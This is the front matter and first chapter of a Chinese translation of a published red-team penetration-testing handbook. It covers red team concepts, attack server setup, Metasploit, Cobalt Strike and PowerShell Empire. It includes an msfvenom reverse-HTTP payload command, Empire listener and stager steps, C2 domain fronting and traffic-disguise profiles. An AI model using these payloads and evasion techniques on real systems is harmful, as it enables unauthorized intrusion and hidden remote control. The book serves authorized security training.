版权信息

书名：【抢鲜版】-黑客秘笈——渗透测试实用指南（第3版）

ISBN：978-7-115-52917-6

本书由人民邮电出版社发行数字版。版权所有，侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。

如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。

版 权

著　　　　 [美]皮特 • 基姆（Peter Kim）

译　　　　孙　勇　徐太忠

责任编辑　张　涛

人民邮电出版社出版发行　　北京市丰台区成寿寺路11号

邮编　100164 　电子邮件　315@ptpress.com.cn

网址　http://www.ptpress.com.cn

读者服务热线：(010)81055410

反盗版热线：(010)81055315

版权声明

Simplified Chinese language edition published by POSTS & Telecom Press Copyright ©2020.

All Rights Reserved.

The Hacker Playbook 3: Practical Guide To Penetration Testing，by Peter Kim, ISBN 9781980901754 Copyright ©2019 by Peter Kim.

本书中文简体版由作者授权人民邮电出版社有限公司出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。

版权所有，侵权必究。

内容提要

本书是畅销图书《黑客秘笈—渗透测试实用指南》（第2版）的全新升级版，不仅对第 2版内容进行了全面更新，还补充了大量的新知识。书中涵盖大量的实际案例，力求使读者迅速理解和掌握渗透测试中的技巧，做到即学即用。

本书共分为11章，内容涵盖了攻击工具的安装和使用、网络扫描、网络漏洞利用、突破网络、物理访问攻击、规避杀毒软件检测、破解密码的相关技巧以及如何编写分析报告等。

本书适合网络安全从业人员以及对黑客技术感兴趣的爱好者阅读，还可以作为高校信息安全专业师生的参考书。

前 言

这是“黑客秘笈”系列图书的第3版。除第1版和第2版介绍的一些攻击方法和技术（目前仍有效）外，本书还将介绍以下新的漏洞和攻击方法。

活动目录攻击。

Kerberos攻击。

网站攻击高级技术。

更好的横向渗透方法。

云漏洞。

快速和智能口令破解。

使用系统凭证和合法软件开展攻击。

横向移动攻击。

多种定制试验环境。

新出现网站编程语言漏洞。

物理攻击。

权限提升。

PowerShell攻击。

勒索攻击。

红队与渗透测试。

搭建红队所需的基础设施。

红队效果评估。

开发恶意软件和规避杀毒软件。

……

除此之外，本书尝试响应读者对第1版和第2版图书提出的评论和建议，并作出了反馈。这里要强调的是，我不是职业作家，仅仅是喜欢安全技术，喜欢传播安全技术。这本书是我注入满腔热情写作的，希望您能够喜欢。

本书将深入探讨如何建立设备实验室的环境，用来检测攻击效果，同时还会介绍最新的渗透方法和技巧。本书力求通俗易懂，很多学校已经把这本书作为教科书。书中尽可能多地增加试验章节，为读者展示测试漏洞或者利用漏洞的方法。

与前两版图书相似，本书中的内容尽可能以实战为基础。本书中并不涉及理论攻击技术，主要内容来自于作者的实战技术和经验。目前网络安全已经有了很大变化，主要从渗透测试转到红队攻击模式，本书不是仅仅介绍这些变化，而是通过示例展示为什么发生这样的变化。因此本书目标分为两部分：一是了解攻击者的攻击思路，理解攻击怎样开展的；二是介绍攻击工具和技术，并详细解释。除帮助读者理解概念和展示试验过程外，本书更重要的目的在于启发读者进行独立思考和探索。与其辛苦地写简历（当然，您需要一份简历），还不如拥有一个很有影响力的Github代码库和技术博客，我认为这会胜过一份好简历。无论您是从事防御研究还是攻击研究，深入了解相关技术发展，并且与安全同行进行分享是必不可少的。

没有读过前两本书的读者，可能会产生疑问，我的经验来自于什么地方。我的工作背景包括超过12年的渗透测试/红队攻击经验，测试的对象包括大型的金融机构、大型的公用事业公司、财富500强企业和政府机构。多年来我也在多个大学传授网络安全攻击课程，在多个安全会议上做过主题发言，在多个安全杂志上发表论文，在国内各个地方授课，举办多个公开CTF比赛，并开办个人安全学校。我个人最感兴趣的项目是在南加州经营一个免费和开源安全社区LETHAL。目前，社区成员超过800人，每个月有安全主题会议和CTF比赛等多项活动，社区已经成为人们分享、学习和提高安全技能的一个神奇的平台。

一个重要提示是我同时使用商用工具和开源工具。对于每一个商用工具，我都会尽可能找到对应的开源工具。偶尔会遇到某些渗透测试人员，他们表示只使用开源工具。作为一名渗透测试人员，我觉得这种观念很难接受。“坏小子”没有仅使用开源工具的限制，因此如果要模拟“真实世界”的攻击，您需要使用任何有助于完成任务的工具。

我经常被问到，这本书面向哪些读者？这个问题很难回答，我认为安全人员都可以从这本书中学到知识。书中部分内容对于新手来说有些高深，部分内容对于有经验的黑客有些简单，还有些内容甚至可能与从事的领域无关。

声明和责任

我重申以下提示非常重要：如果未得到合法授权，不要扫描他人服务器，探测是否存在漏洞并攻击服务器。如果未得到合法授权，不要尝试本书中提到的任何攻击方法。即使不是怀着恶意目的，而只是好奇，上述行为也会为他人增添很多麻烦。目前有大量漏洞奖励项目和漏洞网站/虚拟机，可以用于学习技术和提高能力。对于有些漏洞奖励项目，超出约定范围或者攻击范围过广都会招惹麻烦。

如果您对上述提示感到困惑，那么可能是我表达得不清楚，您可以咨询律师或者联系电子前线基金会（EFF）。在技术研究和非法活动之间有一条清晰的界限。

请记住，您仅在测试系统中有权限写入程序。在Google搜索关键词“hacker jailed”（黑客监禁），您会看到大量不同的案例，比如青少年由于做了他们认为“很好玩”的事情而被判入狱多年。网络上有很多免费的平台，允许对其使用合法的技术，并且能够帮助您提高能力。

最后，我不是Windows、代码、漏洞挖掘、Linux或者其他领域的专家。如果在具体技术、工具或者进程等方面出现误差或遗漏，我会在本书的更新网站上更正相关内容。书中很多内容借鉴自其他人的安全领域研究成果，我会尽可能提供原成果的网络链接地址。

引 言

在上一次交战中（本书第2版），您完成了任务，攻破了网络猫公司的武器设施。现在他们卷土重来，成立了新的太空部门—网络空间猫。这个新部门从先前的安全评估中汲取了所有经验教训，建立了一个本地安全运营中心来加固他们的系统，并且制定了安全策略。他们雇用您开展网络渗透，以测试所有安全加固措施是否能够真正提升安全防护能力。

从我们搜集到的少量细节来看，网络空间猫公司发现了一颗位于大仙女座星云或仙女座星系中的秘密行星。位于两个旋臂之一上的这颗行星被称为KITT-3n，其大小是地球的两倍，位于名为OI 31337的二元系统中，其恒星的大小也是地球恒星的两倍。这创造了一个可能适合居住的环境，包括海洋、湖泊、植物。

由于可能存在新生命、水甚至另一个适合生命生存的星球，因此太空竞赛是实际存在的。网络空间猫部门聘请我们进行红队评估，确保他们能够检测并阻止违规行为。他们的管理层已经了解和掌握了去年所有重大的安全违规行为，因此他们想雇用最好的网络攻击人员。这是您目前的处境……

如果您选择接受任务，任务是找到所有外部和内部漏洞，使用最新漏洞和组合漏洞开展攻击，来确定防御团队是否能够检测到或阻止攻击行为。

您需要采用什么类型的战术、技术和工具呢？在这次行动中，您需要进行大量的侦察和探测，寻找外部基础设施中的弱点，采用社会工程方法欺骗雇员，进行权限提升，获取内部网络信息，在整个网络中横向移动，并最终进入KITT-3n系统和数据库。

渗透测试团队与红队

在深入了解红队背后的技术理念之前，我需要说明渗透测试和红队的定义。这两个术语经常会被提起，读者通常摸不到头脑。在本书中，我想谈谈如何界定这两个术语。

渗透测试是对网络、应用程序和硬件等进行更严格和更有计划的测试。如果您还没有接触过渗透测试，建议您先阅读渗透测试执行标准—这是如何评估一项渗透测试的指南。简而言之，您需要开展范围界定、信息搜集、漏洞分析、漏洞利用、漏洞后利用和报告等所有步骤。在传统的网络测试中，我们通常会扫描漏洞，查找并攻击存在漏洞的系统或应用程序，可能会进行一些后期漏洞利用，查找域管理员并编写渗透测试报告。这些类型的测试会创建漏洞列表、找出急需修补的安全问题以及提供具有可操作性的建议。即使在创建测试范围期间，渗透测试也非常明确，仅限于一周或两周的评估期，并且通常会向公司的内部安全团队公布。公司仍然需要渗透测试人员作为其安全软件开发生命周期（S-SDLC）的一部分。

如今，即使公司有漏洞管理流程、安全软件开发生命周期流程、渗透测试人员、应急响应团队/流程以及许多非常昂贵的安全工具，公司的网络仍然可能被攻陷。如果看一下最近的攻击事件，我们会发现其中很多都发生在成熟的大公司。我们在其他安全报告中看到，一些攻击行为可能会持续超过6个月才能被发现。还有一些报道指出，2017年几乎有三分之一的公司遭到攻击。我认为公司应该想一想，如果这些“坏小子”针对自己采用完全相同的策略，能否发现它？需要多长时间才能发现？能否从攻击事件中恢复？能否准确找出攻击者对于公司资产做了什么？

这就是红队开始发挥作用的场景。红队的任务是模仿攻击者的战术、技术和工具（TTP）。目的是为公司提供真实的攻击场景，在应急响应计划中找到问题，了解员工的技能差距，并最终提高公司的安全防护能力。

对于红队来说，它不像渗透测试那样条理清晰。红队模拟的是真实的攻击场景，因此每项攻击测试都会有很大不同。有些任务可能专注于获取个人身份信息（PII）或信用卡信息，而其他任务则可能专注于获取域管理员权限。说到域管理员，我发现渗透测试和红队任务之间存在巨大的差异。对于渗透测试，我们力争在一天内得到域管理员账户，从而具有访问域控制器权限。对于红队任务，我们可能会完全忽略域控制器。其中一个原因是许多公司在域控制器周围设置了大量安全保护措施。

这些安全防护措施包括应用程序白名单、完整性监控、大量IDS/IPS/HIPS规则等。由于执行任务要避免被发现，因此红队需要保持低调。我们需要遵循的另一条规则是，不要在内部网络运行漏洞扫描程序。攻击者在已控制网络环境中开始执行完整的漏洞扫描的情况是非常罕见的，因为漏洞扫描在网络上非常容易被发现，并且很可能被即时捕获。

两者另一个主要区别是如下所示的时间表。对于渗透测试，工作时间通常是一周，幸运的话，工作时间可能达到两周的时间。但是对于红队来说，任务通常持续2周～6个月的时间。红队方式模拟真实攻击流程，需要开展社会工程，确定目标位置等。最大的差异是两种类型团队的输出报告。红队的研究报告需要更多地针对防御团队流程、策略、工具和技能方面的差距，而不是漏洞列表。在红队的最终报告中，可能会展示一些在任务中发现的漏洞，但是更多的内容是安全流程中存在的缺陷。注意，红队的输出报告应该主要针对安全流程，而不是针对IT（信息技术）部门未修补的漏洞。

渗透测试

红队

有条不紊的安全评估：
●　前期交流
●　情报搜集
●　漏洞分析
●　漏洞利用
●　漏洞后利用
●　报告

灵活的安全评估：
●　情报搜集
●　初步立足点
●　持久性/本地权限提升
●　本地主机/网络枚举
●　横向移动
●　数据分析/数据获取
●　获取域权限/获取系统散列
●　报告

范围：
●　限制范围
●　1～2周参与
●　一般公告
●　发现漏洞

范围：
●　没有规则*
●　1周～6个月的参与时间
●　没有公告
●　检验防御团队的流程、策略、工具和技能

　　*不能违法……

作为红队，我们需要向公司展示自身价值。价值与发现漏洞的总数或发现漏洞的危害程度无关，与防御方安全防护机制是否发挥作用有关。红队的目标是模拟现实世界的攻击行为（实际检测到）。衡量行动的两个重要指标是检测时间和缓解时间。这两个指标不是新概念，但对红队来说仍然有重要的意义。

检测时间（TTD）表示什么呢？这是攻击事件从开始到安全分析人员检测到攻击行为并开始采取措施之间的时间。假设您使用社会工程电子邮件攻击方式，用户在其系统上执行恶意软件。即使杀毒软件、主机安全系统或者监控工具可能检测到攻击行为，但是记录的检测时间是安全分析人员检测到攻击行为并创建分析攻击事件的时间。

缓解时间（TTM）是记录的第二个指标。这个时间点是指安全人员开展防火墙实时拦截、DNS黑洞或网络隔离的时间。另外重要的衡量指标是安全团队如何与IT人员合作、如何处理关键事件，以及员工是否恐慌。掌握了所有这些数据，我们可以建立实际数据，评估您的公司面临的风险程度，或者被攻陷的可能性。

总结

我最想表达的是公司管理者不要过于依赖审计指标。每个公司都有合理的规章制度，能够帮助公司流程更加成熟，但是这并不能使公司真正做到信息安全。作为红方团队，任务是测试整体安全流程是否有效。

在您阅读本书时，希望您将自己看作红队并专注于以下几个方面。

安全漏洞而非IT漏洞。

模拟真实世界攻击行为。

始终以红队的姿态开展攻击。

挑战系统……提供真实数据以证明存在安全漏洞。

资源与支持

本书由异步社区出品，社区（https://www.epubit.com/）为您提供相关资源和后续服务。

配套资源

本书提供如下资源：

本书配套资源请到异步社区本书购买页下载。

要获得以上配套资源，请在异步社区本书页面中单击，跳转到下载界面，按提示进行操作即可。注意：为保证购书读者的权益，该操作会给出相关提示，要求输入提取码进行验证。

提交勘误

作者和编辑尽最大努力来确保书中内容的准确性，但难免会存在疏漏。欢迎您将发现的问题反馈给我们，帮助我们提升图书的质量。

当您发现错误时，请登录异步社区，按书名搜索，进入本书页面，单击“提交勘误”，输入勘误信息，单击“提交”按钮即可。本书的作者和编辑会对您提交的勘误进行审核，确认并接受后，您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。

与我们联系

我们的联系邮箱是contact@epubit.com.cn。

如果您对本书有任何疑问或建议，请您发邮件给我们，并请在邮件标题中注明本书书名，以便我们更高效地做出反馈。

如果您有兴趣出版图书、录制教学视频，或者参与图书翻译、技术审校等工作，可以发邮件给我们；有意出版图书的作者也可以到异步社区在线提交投稿（直接访问http://www.epubit.com/selfpublish/submissionwww.epubit.com/selfpublish/submission即可）。

如果您所在的学校、培训机构或企业想批量购买本书或异步社区出版的其他图书，也可以发邮件给我们。

如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为，包括对图书全部或部分内容的非授权传播，请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护，也是我们持续为您提供有价值的内容的动力之源。

关于异步社区和异步图书

“异步社区”是人民邮电出版社旗下IT专业图书社区，致力于出版精品IT技术图书和相关学习产品，为作译者提供优质出版服务。异步社区创办于2015年8月，提供大量精品IT技术图书和电子书，以及高品质技术文章和视频课程。更多详情请访问异步社区官网https://www.epubit.com。

“异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品牌，依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团队，相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。

异步社区

微信服务号

第1章　赛前准备——安装

作为红队，我们并不太关心攻击的起源。相反，我们想了解攻击事件采用的战术、技术和工具。例如，在查看公共资源时，我们搜索到了FireEye公司的详细攻击分析报告。通过学习FireEye公司的分析报告，我们掌握了恶意软件使用的战术、技术和工具，主要使用了Office文件、JavaScript和PowerShell规避技术。这样，我们可以采用类似的攻击行动，检测您的公司是否可以发现这种攻击行为。

MITRE公司的攻击战术、技术和基本知识列表将APT攻击进行了详细分类。列表中包括所有类型攻击采用的战术、技术和工具。

Windows APT攻击战术、技术和基本知识如表1.1所示。

表1.1

长期控制

权限提升

防御规避

凭证获取

探测

访问特性

管理访问令牌

管理访问令牌

管理账户

账户发现

AppCert Dlls

访问特性

二进制填充

暴力破解

应用程序发现

AppInit Dlls

AppCert Dlls

用户账号控制规避

凭证导出

文件和目录发现

应用程序兼容

AppInit Dlls

代码签名

文件中凭证

扫描网络服务

鉴权包

应用程序兼容

组件固件

漏洞利用

网络共享发现

Bootkit

用户账号控制规避

组件对象模型劫持

强制鉴权

外围设备发现

浏览器扩展

Dll搜索顺序劫持

Dll搜索顺序劫持

钩子

权限分组发现

MITRE公司还提供了Mac（见表1.2）和Linux的知识列表。现在，我们将根据搜集到的关于TTP/工具/方法的所有数据，制定一个攻击方案，应用于被攻击者的公司。开展这些类型的红队攻击行动将为公司提供真实的攻击场景和防御场景。

MacOS APT攻击战术、技术和基本知识见表1.2。

表1.2

初始控制

执行

长期控制

权限提升

防御规避

凭证获取

突破驱动

AppleScript

.bash_profile和.bashrc

Dylib劫持

二进制填充

Bash历史命令

公开访问应用程序漏洞利用

命令行接口

浏览器扩展

漏洞利用提升权限

清空历史命令

暴力破解

硬件植入

客户应用程序漏洞利用

创建账户

运行守护进程

代码签名

文件中凭证

鱼叉式网络钓鱼附件

图形用户接口

Dylib 劫持

Plist修改

禁用安全工具

漏洞利用从而获取凭证

鱼叉式网络钓鱼快捷方式

Launchctl

隐藏文件和目录

进程注入

利用漏洞从而规避防御

输入捕获

鱼叉式网络钓鱼服务

本地任务计划

核心模块和扩展

Setuid和setgid

文件删除

输入提示

1.1　假定突破目标演习

每个公司都应该假定目前自身处于一个遭受攻击的环境中。在过去的日子里，太多公司认为，由于开展了网络安全培训或者年度渗透测试，自身是安全的。我们需要始终处于一种警觉的状态，魔鬼可能潜伏在周围，我们应该即时发现各种异常的现象。

这就是红队行动与渗透测试的根本不同之处。由于红队行动专注于检测/缓解安全机制而不是发现漏洞，因此我们可以做一些更独特的评估。假定突破演习可以为客户/用户提供较大帮助。在假定突破演习中，攻击者始终拥有0day漏洞。那么，客户能否识别并减轻后续两个步骤的危害呢？

在这个前提下，红队与公司内部有限的几个人进行配合，将单个自定义恶意程序静荷在服务器上执行。这个静荷会尝试以多种方式连接，确保能够规避常用杀毒软件，并允许从内存中执行后续的静荷。我们将在整本书中提供静荷的例子。一旦执行了初始静荷，后续的事情就很有趣了！

1.2　规划红队行动

这是红队行动中我最喜欢的一部分。在突破第一个系统之前，您需要确定红队行动的范围。在渗透测试中，通常是指定一个目标，您需要不断尝试突破这个目标。如果没有成功，您会继续执行其他操作。即使没有既定方案，您也会非常专注于该网络。

在红队行动中，我们有一些要实现的目标。这些目标可以是下面的内容，但不局限于下面的内容。

最终目标是什么？难道只是APT攻击检测？是否需要从服务器获得相应内容？是否需要从数据库中获取数据？或者只是获得检测时间指标数据？

有没有什么我们想要复制的公开活动？

您将使用哪些技术？我们谈到了使用MITRE公司ATT&CK列表，但每个类别真正使用的技术是什么？

Red Canary的团队提供了有关这些技术的详细信息，我强烈建议您仔细研究这些内容。

客户希望使用哪些工具？是像Metasploit、Cobalt Strike和DNS Cat这样的COTS商业工具还是定制工具？

攻击行动被发现是评估中最关键的一部分。有些红队行动被发现4～5次，因此需要重新切换到4～5个不同的环境。这实际上向您的客户表明他们的防御机制发挥了作用（或不发挥作用），具体评估结果依据客户开展红队行动的目的而定。在本书的最后部分，将提供一些报告示例，解释如何确定指标和上报数据。

1.3　搭建外部服务器

开展红队行动需要依托多种不同的网络服务。目前，在互联网上有大量虚拟专用服务器（VPS），可以用于搭建攻击服务器，并且价格不贵。例如，我通常使用Digital Ocean Droplets或Amazon Web Services（AWS）Lightsail服务器配置我的虚拟专用服务器。我使用这些服务的原因是因为它们通常成本非常低（有时是免费的），支持安装Ubuntu服务器，可以部署在世界各地，重要的是它们非常容易安装设置。仅用几分钟，您就可以安装多个服务器并运行Metasploit和Empire服务。

由于安装及设置简单，因此本书将重点介绍AWS Lightsail服务器，它提供自动化服务，并且流量通常经过AWS，在成功创建了您喜欢的镜像之后，您可以快速地将该镜像复制到多个服务器，这使得构建命令和控制服务器变得非常容易。

同样，您应该确保遵守虚拟专用服务器的服务条款，这样就不会遇到任何问题。

https://lightsail.aws.amazon.com/。

创建实例。

强力推荐内存至少1GB

存储空间通常不是很大问题

Linux/UNIX。

选择Ubuntu操作系统。

下载证书。

chmod 600 cert。

ssh -i cert ubuntu@[ip]。

登录到服务器后，您需要高效且可重复地安装所有工具。本书建议您开发自己的脚本来设置IPTables规则、SSL证书、工具和脚本等内容。一种快速构建服务器的方法是集成TrustedSec组织的PenTesters Framework（PTF）。这个集成脚本替您完成了许多烦琐的工作，并为其他所有内容创建了一个框架。让我们来看一个例子，展示如何快速地安装漏洞利用、信息搜集、后漏洞利用、PowerShell和漏洞分析工具。

sudo su -。

apt-get update。

apt-get install python。

git clone https://github.com/trustedsec/ptf/opt/ptf。

cd/opt/ptf && ./ptf。

use modules/exploitation/install_update_all。

use modules/intelligence-gathering/install_update_all。

use modules/post-exploitation/install_update_all。

use modules/powershell/install_update_all。

use modules/vulnerability-analysis/install_update_all。

cd/pentest。

图1.1显示了所有可用的不同模块，其中一些是我们自行安装的。

图1.1　所有可用模块

如果查看攻击者使用的虚拟专用服务器，我们可以看到服务器上安装的所有工具，如图1.2所示。如果想启动Metasploit，那么我们可以输入：msfconsole。

图1.2　pentest目录下安装的所有工具

我建议要做的另外一件事是建立完善的IPTables规则。由于这将是您的攻击者服务器，因此您需要限制SSH身份验证的发起位置，Empire/Meterpreter/Cobalt Strike静荷来源，以及您搭建的任何网络钓鱼页面。

如果您还记得2016年年末，有人在Cobalt Strike项目组服务器上找到了未经身份验证的远程执行代码（RCE），那么您肯定不希望存储用户数据的攻击者服务器被突破。

我还看到一些红队在AWS内部的Docker中运行Kali Linux（或至少是Metasploit）。从我的角度来看，系统创建的方式没有什么问题。您所需要的是创建一个有效且可重复的流程来部署多台主机。使用Lightsail的好处是，一旦机器配置为首选项，您就可以使用该机器的镜像快照，搭建多个全新副本主机。

如果想让您的环境水平更上一层楼，那么可参考Coalfire-Research团队的研究成果。Coalfire-Research团队构建了自定义模块，它能够为您完成所有的烦琐工作和自动化工作。Red Baron是Terraform的模块和自定义/第三方提供商，它试图为红队自动创建静默、一次性、安全和敏捷的基础架构（见 GitHub 中的相关内容）。无论是要构建网络钓鱼服务器、Cobalt Strike基础架构还是创建DNS命令控制服务器，您都可以使用Terraform完成所有的操作。

1.4　工具展示

红队可能会使用大量的工具，这里我们来介绍一些核心工具。请记住，作为红队，其目的不是破坏用户网络环境，而是复制真实世界的攻击，以查看客户是否受到保护并能够在很短的时间内检测攻击行为。在前面的章节中，我们介绍如何复制攻击者的配置文件和工具集，因此下面我们来回顾一些常见的红队工具。

1.4.1　Metasploit框架

虽然Metasploit框架是在2003年开发的，但是到目前为止，它仍然是一个重要的工具。这是由于工具原始设计者HDMoore和社区一直在积极维护该项目。这个驱动的框架似乎每天都在更新，包含所有较新的公共漏洞、后漏洞利用模块和辅助模块等。

红队的任务可能会基于Metasploit，生成MS17-010永恒之蓝漏洞并利用工具来突破系统，以获得我们的第一个Shell；或者基于Metasploit生成Meterpreter静荷，借助社会工程学开展攻击。

在后面的章节中，本书将向您展示如何重新设置Metasploit静荷和流量特征，以绕过杀毒软件和网络检测设备的防护机制。

Meterpreter静荷混淆

如果借助社会工程学开展攻击，我们常常希望使用Word或Excel文档格式。但是，一个潜在的问题是，我们可能无法嵌入Meterpreter二进制静荷或者从Web直接下载，因为杀毒软件可能会阻止上述操作。为此，一个简单的解决方案是使用PowerShell进行混淆处理。

msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter- 64.ps1 LHOST = 127.0.0.1

我们甚至可以在下一阶段再进行混淆，使用Unicorn等工具生成更多混淆的PowerShell Meterpreter静荷，如图1.3所示。本书后面的章节将详细介绍实现细节。

图1.3

此外，使用可信机构的SSL/TLS证书，可能会“帮助”我们绕过某些网络入侵检测工具。

最后，在本书的后面部分，我们将讨论如何从头开始编译Metasploit/Meterpreter以规避基于主机和网络的检测工具。

1.4.2　Cobalt Strike

Cobalt Strike是迄今为止我常用的红队攻击工具之一。什么是Cobalt Strike？它具有后漏洞利用、横向移动、网络隐藏和数据回传等功能。Cobalt Strike并不集成漏洞利用工具，也不是通过0day漏洞突破系统。如果已经在目标服务器上执行代码或将其用作网络钓鱼活动静荷的一部分，您会真正了解Cobalt Strike的强大功能和扩展性。当执行Cobalt Strike静荷后，它创建一个信标，回连命令和控制服务器。

Cobalt Strike 工具价格不菲，每位用户一年要花费 3500 美元（约24446.8元人民币）来获取新的许可证。目前，Cobalt Strike还会提供免费的功能受限试用版。

1．Cobalt Strike基础架构

如前所述，在基础架构方面，我们希望建立一个可重用且高度灵活的环境。Cobalt Strike支持重定向，即使命令和控制服务器崩溃，您也不必重新搭建新的环境，仅需要更换新的域名。您可以使用socat，配置重定向参数，如图1.4所示。

图1.4

为了方便地实现重定向功能，我们应用域名前置技术。域名前置集合多种技术，利用其他人的域名和基础架构实现重定向。这可以通过亚马逊的 CloudFront
或其他Google主机等主流的内容交付网络（CDN）实现真实端点的隐藏。在过去的一段时间中，这项技术已经被不同攻击者使用。

使用这些高信誉域名，无论HTTP或者是HTTPS，任何流量看起来都是与这些域名进行通信，而不是恶意的命令和控制服务器。这一切是如何运作的？举一个较复杂的攻击例子，所有流量将被发送到CloudFront的一个完全限定域名（FQDN），例如a0.awsstatic.com，这是CloudFront的主域名。修改请求中的主机头，使所有流量重定向到CloudFront分配地址，最终流量转发到我们的Cobalt Strike命令和控制服务器，如图1.5所示。

图1.5

通过更改 HTTP 主机头，内容交付网络顺利地将数据包路由到正确的服务器。红队一直使用这种技术，通过使用高信誉域名重定向，隐藏发往命令和控制服务器的流量。

注意：在出版本书时，AWS（甚至Google）已经开始启动安全防护机制，停止支持域名前置。这样做仍然无法阻止域名前置攻击，但是攻击者需要使用不同的第三方资源进行攻击。

虽然不是基础架构的一部分，但是了解信标在内部环境中的工作方式非常重要。在操作安全方面，我们不希望攻击行动被轻易识破。作为红队，我们必须假设一些代理主机会被蓝队发现。如果我们让所有突破主机仅与一个或两个命令和控制服务器通信，那么红队的整个基础架构将非常容易被发现。幸运的是，Cobalt Strike 支持突破主机之间采用 SMB网络协议进行命令和控制通信。这种方式允许一台突破主机连接互联网，网络上的所有其他计算机通过SMB网络协议连接该主机。采用这种方式，如果另外一台突破主机被检测到，并被取证分析，则蓝队可能无法找到此次攻击的命令和控制服务器。

Cobalt Strike的一个很棒的功能是红队可以方便地管理信标之间的通信。使用Malleable C2配置文件，突破主机的所有流量与普通流量非常类似。目前越来越多的环境支持7层应用程序数据包过滤。在第7层，很多异常流量的数据包伪装成网站流量。那么如何使发送到命令和控制服务器的流量看起来像正常的网站流量？这就要设置Malleable C2文件。看下面这个例子：https://github.com/rsmudge/Malleable-C2-Profiles/blob/ master/normal/ amazon.profile。一些中间记录如下。

我们看到附带URL地址的HTTP请求。

set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books"

主机头设置为Amazon。

header "Host" "www.amazon.com"

同时一些定制服务器数据报头回送到命令和控制服务器。

header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT"

header "x-amz-id-2""a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRu Z2tmZGl4aHRvNDVpbgo="

这个功能已经被应用到许多不同的行动中，许多安全设备已经在所有常见的可移动配置文件中对其创建了签名。我们为解决这个问题所采取的行动是修改所有静态字符串，更改所有用户代理信息，使用真实证书配置SSL（不使用默认的Cobalt Strike SSL证书），使用抖动，以及更改代理信标的时间。最后一个注意事项是确保使用POST（http-post）命令进行通信，因为如果不这样做可能会在使用自定义配置文件时引起很多麻烦。如果您的个人资料通过http-get进行通信，它仍然有效，但上传大文件将无法完成。请记住，GET通常限制在2 048个字符左右。SpectorOps团队还创建了随机的命令和控制配置文件。

2．Cobalt Strike脚本语言

有很多志愿者为Cobalt Strike项目做出了贡献。Aggressor Script是一种脚本语言，适用于红队操作和攻击模拟，开发灵感来自可编写脚本的IRC客户端和木马。这种语言有两方面的用途：①创建长时间运行的木马，模拟红队成员，与您并肩进行模拟攻击；②可以使用脚本、扩展和修改Cobalt Strike客户功能。例如，HarleyQu1nn集成了大量不同类型的攻击脚本，用于后漏洞利用阶段。

1.4.3　PowerShell Empire

Empire是一个后漏洞利用框架，包括纯PowerShell 2.0 Windows代理和纯Python 2.6/2.7 Linux/macOS代理。PowerShell Empire是以前的PowerShell Empire和Python EmPyre项目的合并。该框架提供了加密安全通信和灵活的架构。在PowerShell方面，Empire支持运行PowerShell代理，无须运行PowerShell.exe，可快速部署后漏洞利用模块，包括键盘记录工具和Mimikatz工具，支持自适应通信方式以规避网络检测，所有这些功能都集成在以可用性为中心的框架中。

对于红队来说，PowerShell是一个不错的朋友。在运行初始静荷之后，所有后续攻击代码都存储在内存中。Empire最大的优点在于开发人员积极维护和更新框架代码，所有最新的后漏洞利用模块都可用于攻击。Empire支持Linux和macOS操作系统。因此，您仍然可以在macOS中创建Office宏，在执行攻击时，Empire中拥有一个全新的代理。

我们将在整本书中详细地介绍Empire工具，以便您充分了解Empire工具的用途。非常重要的一点是，我们要确保安全设置Empire。

将CertPath设置为真正的可信SSL证书。

修改主机默认配置，许多第7层防火墙查找的是静态主机配置。

修改User Agent选项值。

正如在本书前两版中提到的，Metasploit可以使用rc文件，实现自动化配置，Empire现在也支持自动运行脚本以提高效率，这将在本书后面的章节进行讨论。

运行Empire。

cd/opt/Empire && ./setup/reset.sh

退出。

exit

设置证书（最好使用真实可信证书）。

./setup/cert.sh

运行Empire。

./empire

开启监听。

listeners

选择监听（我们在试验中使用HTTP）。

uselistener [tab twice to see all listener types]

uselistener http

查看监听者的所有配置。

info

设置下面的参数（i.e. set KillDate 12/12/2020）。

KillDate，结束行动，清除代理

DefaultProfile，必须修改所有主机，例如/admin/get.php 和/news.php。可以伪装成想要设置的内容，例如/seriously/notmalware.php

DefaultProfile，必须修改User Agent。我喜欢查看常用User Agent，并选择其中一个

Host，切换到HTTPS，端口号为443

CertPath，添加SSL证书路径

UserAgent，修改此处，使用常用的User Agent

Port，设置443端口

ServerVersion，修改此处，使用常用服务头

所有配置完成，开启监听程序，如图1.6所示。

execute

配置静荷

静荷是在突破主机上运行的真正的恶意软件。这些静荷可以在Windows、Linux和macOS中运行，但Empire最为知名的是PowerShell Windows静荷。

单击主菜单。

main

为macOS、Windows和Linux操作系统创建可用的阶段。创建一个简单的bat文件作为示例，但您可以创建Office宏文件或者创建Rubber Ducky的静荷。

usestager [tab twice to see all the different types]

usestager windows/launcher_bat

图1.6

查看所有参数。

info

配置所有参数。

set Listener http

Configure the UserAgent

创建静荷。

generate

在另外一个终端窗口查看静荷的参数，如图1.7所示。

cat/tmp/launcher.bat

图1.7

如上所述，我们创建的静荷是深度混淆的。您现在可以在任何Windows操作系统上放置.bat文件。当然，您可能会创建一个Office宏或一个Rubber Ducky静荷，但这只是众多示例中的一个。

如果您尚未在Kali镜像上安装PowerShell，最好的方法是手动安装。在Kali上安装PowerShell需要执行下述代码。

apt-get install libunwind8。

wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_ 1.0.1t- 1+deb7u3_amd64.deb。

dpkg-i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb。

wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb。

dpkg-i libicu55_55.1-7ubuntu0.3_amd64.deb。

